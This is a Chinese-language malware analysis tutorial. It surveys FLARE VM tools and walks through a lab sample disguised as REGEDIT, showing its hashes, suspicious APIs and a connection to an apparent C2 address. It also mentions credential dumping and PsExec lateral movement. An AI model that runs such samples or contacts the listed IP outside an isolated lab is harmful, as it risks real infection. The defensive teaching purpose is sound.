有关其他插件的更多信息,可以查看此链接。
符串预处理
使用 Linux 的 strings 工具对内存镜像进行预处理 。我们将提取内存中的以下三类字符串:
-e l选项指示 strings 提取 16 位小端序字符串-e b选项指示 strings 提取 16 位大端序字符串
ASCII 字符串
strings wcry.mem > ascii.txt
16 位小端(16-bit Little-Endian)字符串
strings -e l wcry.mem > little_endian.txt
16 位大端(16-bit Big-Endian)字符串
strings -e b wcry.mem > big_endian.txt
FlareVM
FLARE VM 是一套基于 Windows 的恶意软件分析与逆向工程工具集,用于在安全的虚拟机环境中进行动态与静态分析
工具库
逆向工程与调试
- Ghidra - 美国国家安全局开发的开源逆向工程套件
- x64dbg - 用于调试 x64 和 x32 格式二进制文件的开源调试器
- OllyDbg - 用于汇编级逆向工程的调试器
- Radare2 - 用于逆向工程的复杂开源平台
- Binary Ninja - 用于反汇编和反编译二进制文件的工具
- PEiD - Packer、cryptor 和编译器检测工具
反汇编器和反编译器
将恶意软件分解成更易于理解的形式,帮助分析人员了解其行为、逻辑和控制流程
- CFF Explorer - 用于分析和编辑可移植可执行(PE)文件的 PE 编辑器
- Hopper Disassembler - 调试器、反汇编器和反编译器
- RetDec - 用于机器码的开源反编译器
静态&动态分析
静态分析是指在不执行代码的情况下对其进行检查,而动态分析则是观察程序运行时的行为。以下列出的是该类别中常用的工具:
- Process Hacker - 能强大的内存编辑器与进程监控工具
- PEview - 用于分析 PE(可移植可执行)文件的查看器
- Dependency Walker - 用于显示可执行文件 DLL 依赖关系的工具
- DIE (Detect It Easy) - 用于检测加壳、编译器及加密特征的工具
取证与事件响应
数字取证涉及从计算机、网络和存储设备等各种来源收集、分析及保存数字证据;而事件响应则侧重于针对网络攻击的检测、遏制、清除及恢复工作。下文列出的工具是该领域常用的工具
- Volatility - 内存取证的分析框架
- Rekall - 事件响应的框架
- FTK Imager - 磁盘镜像获取与分析工具
网络分析
- Wireshark - 流量记录和分析的网络协议
- Nmap - 漏洞检测和网络映射工具
- Netcat - 通过网络连接读取和写入数据
文件分析
文件分析是一种用于检查文件是否存在潜在安全威胁并确保文件权限正确的技术
- FileInsight - 用于查看和编辑二进制文件的程序
- Hex Fiend - 一款轻巧快速的十六进制编辑器
- HxD - 使用十六进制编辑器查看和编辑二进制文件
Sysinternals 套件
管理、排除故障和诊断 Windows 系统
- Autoruns - 在系统启动期间运行的可执行文件
- Process Explorer - 提供正在运行的进程的信息
- Process Monitor - 监视并记录实时进程/线程活动
常用工具
这些工具是用于初步调查的基本工具
| 工具 | 调查价值 |
|---|---|
| Procmon | 一款用于跟踪系统活动的工具,特别适用于恶意软件研究、故障排查以及取证分析。 |
| Process Explorer | 可以查看进程的父子关系、加载的 DLL 以及进程路径。 |
| HxD | 可通过十六进制编辑方式检查或修改恶意文件。 |
| Wireshark | 用于观察和分析网络流量,以发现异常活动。 |
| CFF Explorer | 可生成文件哈希用于完整性验证、验证系统文件来源以及检查文件合法性。 |
| PEStudio | 用于静态分析,在不运行文件的情况下研究可执行文件的属性。 |
| FLOSS | 使用高级静态分析技术,从恶意程序中提取并反混淆所有字符串。 |
Process Monitor (Procmon)
实时查看、记录和跟踪系统及 Windows 文件活动。进程监视器 (Process Monitor) 有助于 跟踪系统活动,尤其是在恶意软件研究、故障排除和取证调查方面
从这里下载 ProcMon
根据此日志,与本地安全机构子系统服务(LSASS)相关的进程 lsass.exe 已成功读取一个文件。LSASS 负责处理身份验证,并经常与 lsasrv.dll(本地安全机构服务器服务)等关键系统文件进行交互。
尽管这是一个标准的系统进程,但在排查恶意活动迹象时,LSASS 可能会成为“凭据转储”(credential dumping)攻击的目标。Mimikatz 等工具经常试图访问 LSASS 进程的内存。在这种情况下,你应留意与 LSASS 相关的任何其他可疑活动,例如异常的访问模式,或者有其他进程对 lsass.exe 进行读写操作。
Process Explorer (Procexp)
Process Explorer 让你能够深入了解计算机上正在运行的活动进程。它不仅能探究系统的内部运作机制,还能提供一份详尽的列表,列出当前运行的进程及其关联的用户账户
下载 Process Explorer (3.3 MB)
HxD
HxD 是一款快速灵活的十六进制编辑器,可用于编辑任意容量的文件、内存和驱动器。它可应用于取证调查、数据恢复、调试以及对二进制数据的精确操作。其重要功能包括查看文件和内存内容、编辑、搜索和比较十六进制数据
下载 Hxd
该文件以4D 5A(小端序) 开头,表明它是可执行文件。左侧的十六进制数据表示文件的十六进制内容,右侧则显示了 ASCII 编码
右侧的数据检查器 通过以多种数据类型(例如,整数、浮点数)显示单个字节的值来检查单个字节,从而简化数据评估。
HxD 允许对文件的原始十六进制数据进行深入检查,从而识别文件类型、结构和可能存在的损坏,方便用户进行查询。其数据检查器功能则提供了对特定字节值的深入分析。
CFF Explorer
借助 CFF Explorer 提供的详细文件信息,调查人员可以生成文件哈希值以进行完整性校验,验证系统文件的来源,并确认其有效性(例如,通过检查是否存在异常改动)。这一点在分析恶意软件时至关重要,因为恶意代码可能隐藏在被篡改的系统文件中。
下载:
Useful links:
– How to write a CFF Explorer Extension
– CFF Explorer Scripting Language Documentation (v2)
– CFF Explorer Scripting Language Documentation (v1)
– CFF Explorer Extensions Repository
Wireshark
在网络流量分析方面,Wireshark 是一款功能强大的工具,调查人员可以利用它来追踪可疑连接、检查协议,并发现潜在的攻击或数据泄露。在这种情况下,TLSv1.2 提供了一种安全加密的连接,可以掩盖恶意活动或保护合法流量
此处展示了捕获的数据包,其中包含有关协议、源地址、目标地址及其他信息的详情。大多数数据包显示,加密传输采用了 TLSv1.2 和 TCP 协议。原始数据包内容以 ASCII 和十六进制形式呈现,其中相当大一部分数据是经由 TLSv1.2 加密的。
PEStudio
静态分析(即在不运行可执行文件的情况下研究其属性)可以通过 PEstudio 来进行。这一功能在多种场景下都极具价值:PEstudio 能够在不让用户面临程序运行风险的前提下,提供有关文件的各类信息,从而帮助识别那些看似可疑或有害的可执行文件。
本例展示了如何使用静态恶意软件分析工具 PEstudio 9.22 来检查可执行文件 PsExec.exe(该操作不在虚拟机中进行,仅作为纯粹的示例)。该文件具有双重用途:既是供系统管理员使用的合法工具,也可能被黑客利用以获取远程访问权限。
该文件的熵值为 6.596,表明其存在被加壳或加密的可能性——这是危险软件的典型特征。这款基于控制台的 32 位应用程序(版本 2.34)支持远程运行程序,而这一功能常被用于攻击过程中的横向移动。该文件是使用 Visual C++ 8 编译构建的。
| 熵值 | 含义 |
|---|---|
| 0 | 全部都是同一个字节 |
| 1~3 | 很规律的数据,例如大量 00 |
| 4~6 | 普通程序、文本、图片等 |
| 6~7 | 随机性较高 |
| 7~8 | 非常随机,通常是压缩、加密、打包后的数据 |
PsExec 具有双重用途(dual-use)的特性,本身是合法的系统管理工具,但在受攻击环境中也常被攻击者滥用于远程执行命令和横向移动。结合其中低级别的静态检测指标以及相对较高的熵值,可以推测该文件可能经过压缩或加壳处理,因此其在系统中的出现值得关注,尤其是在正常业务场景下并不预期存在远程代码执行活动时。
由于 PsExec 经常出现在攻击生命周期的后期(如横向移动、权限维持或远程执行阶段),因此应结合系统日志、进程创建记录、网络连接、父子进程关系以及文件来源等证据进行进一步调查,以确认其是否被恶意滥用,还是属于合法的系统管理活动。
FLOSS
FLARE 混淆字符串求解器(FLOSS,原名 FireEye Labs Obfuscated String Solver)利用先进的静态分析技术,能够自动从恶意软件程序中提取并去混淆所有字符串。与 strings.exe 类似,它能增强对未知二进制文件的基础静态分析能力。此外,FLOSS 的脚本目录下还包含多个 Python 脚本,可用于将工具的输出结果导入 IDA Pro 或 Binary Ninja 等其他程序中。
floss .\cobaltstrike.exe
在上述示例中,FLOSS 从二进制文件中提取了 189 个静态字符串,其中可能包含硬编码信息,例如文件路径、URL(通常指向命令与控制服务器)、IP 地址、API 调用、错误消息、注册表项、加密密钥以及配置数据。然而,分析过程中未识别出任何解码后的字符串,这表明 FLOSS 未能检测或解码动态生成或经过混淆处理的字符串。恶意软件经常利用混淆字符串来掩盖其恶意行为。
恶意文件分析
一位用户下载了一个可疑的windows.exe文件。该下载已被标记为潜在威胁。监控团队已向你发送电子邮件,请求对该文件进行分析。他们已将该文件发送给你,该文件目前位于C:\Users\Administrator\Desktop\Sample文件夹中。
使用 PEStudio 分析
建议将计算出的 MD5 (9FDD4767DE5AEC8E577C1916ECC3E1D6) 和 SHA-1 (A1BC55A7931BFCD24651357829C460FD3DC4828F) 与 VirusTotal 等数据库进行比对。如果未发现已知的检测记录,则该样本极有可能是某种新型或尚未被发现的恶意软件攻击活动。
尽管该文件声称与 Windows 注册表编辑器(REGEDIT)相关联(从其description中可以看出这一点),但这很可能是一种旨在欺骗用户并逃避检测的手段。
合法的 REGEDIT 工具通常位于 C:\Windows\System32 目录下,而非用户的下载位置。
还有什么?
文件元数据中出现“Редактор реестра” - "Registry Editor", "Операционная система Microsoft® Windows®") 非常可疑,尤其是在用户或组织并非在俄语环境下工作的情况下。这可能会对我们组织造成深远的影响。
缺少rich-header 表明该文件可能经过压缩或混淆处理,以避免被静态分析工具检测到。这是复杂恶意软件的典型行为,它们试图通过篡改 PE 文件的关键部分来逃避检测。
functions 选项卡列出了该文件导入的 API 调用,这也被称为 IAT(导入地址表)。点击blacklist选项卡后,PeStudio 会对 API 进行排序,将所有列入黑名单的函数移至列表顶部。此功能非常有用,因为它能帮助我们了解恶意软件在入侵主机后可能采取的行动。
set_UseShellExecute此功能允许进程使用操作系统 shell 来执行其他进程。这常见于恶意软件,它们会生成额外的进程来执行恶意操作。
CryptoStream, RijndaelManaged, CipherMode, CreateDecryptor这些 API 表明该可执行文件使用了加密功能,特别是 Rijndael(AES 加密)。恶意软件可能使用加密技术来加密通信和文件,甚至实现勒索软件功能。
使用 FLOSS 分析
运行FLOSS.exe .\windows.exe > windows.txt,并将结果输出到同一目录下的 windows.txt 文件中
打开文件,然后转到 结果的底部
这些功能是不是很眼熟?这些正是我们之前在使用 PEStudio 工具时看到的那些功能!
使用 Process Explorer 和 Process Monitor 分析
我们将尝试确定该文件是否与任何潜在的 C2 服务器建立了网络连接。运行 cobaltstrike.exe 文件,并通过桌面或任务栏打开 Process Explorer(也可以在 Windows 搜索栏中查找该程序)。如果手动运行该可执行文件,Explorer.exe 将作为父进程,而 cobaltstrike.exe 则是子进程。
正如上图所示,确实如此!请记住,这些信息至关重要;不过,我们现在的重点是确定该进程是否建立了网络连接,以及连接的目标地址是什么。该进程的 ID 为 4756(请注意,你机器上的进程 ID 可能会有所不同)。右键点击该进程,选择属性(Properties),然后切换到TCP/IP选项卡。这样我们就能确定其连接的目标地址及当前的连接状态。
另外,在进行分析时,结果必须准确且经过验证。因此,我们不会仅依赖单一工具,而是会使用另一个工具来核实信息的准确性。请先停止当前进程并重新运行。这次我们将使用 Procmon(即 Process Monitor)。
打开 Procmon 后,由于它会列出所有活动进程,直接查找目标二进制文件会比较困难。因此,我们需要进行筛选。下图展示了筛选图标的位置;或者,也可以直接按下 Ctrl + L 键。
- 使用此过滤器需要几个步骤,包括:
- 选择Process Name
- 选择contains
- 输入任何包含与该过程相关的单词的值。在本例中,cobalt
- 点击include
- 然后Add并点击Apply
- 你应该能看到新增的条件。
这证实了该二进制文件确实正在与未知 IP 地址 47.120.46.210 建立连接。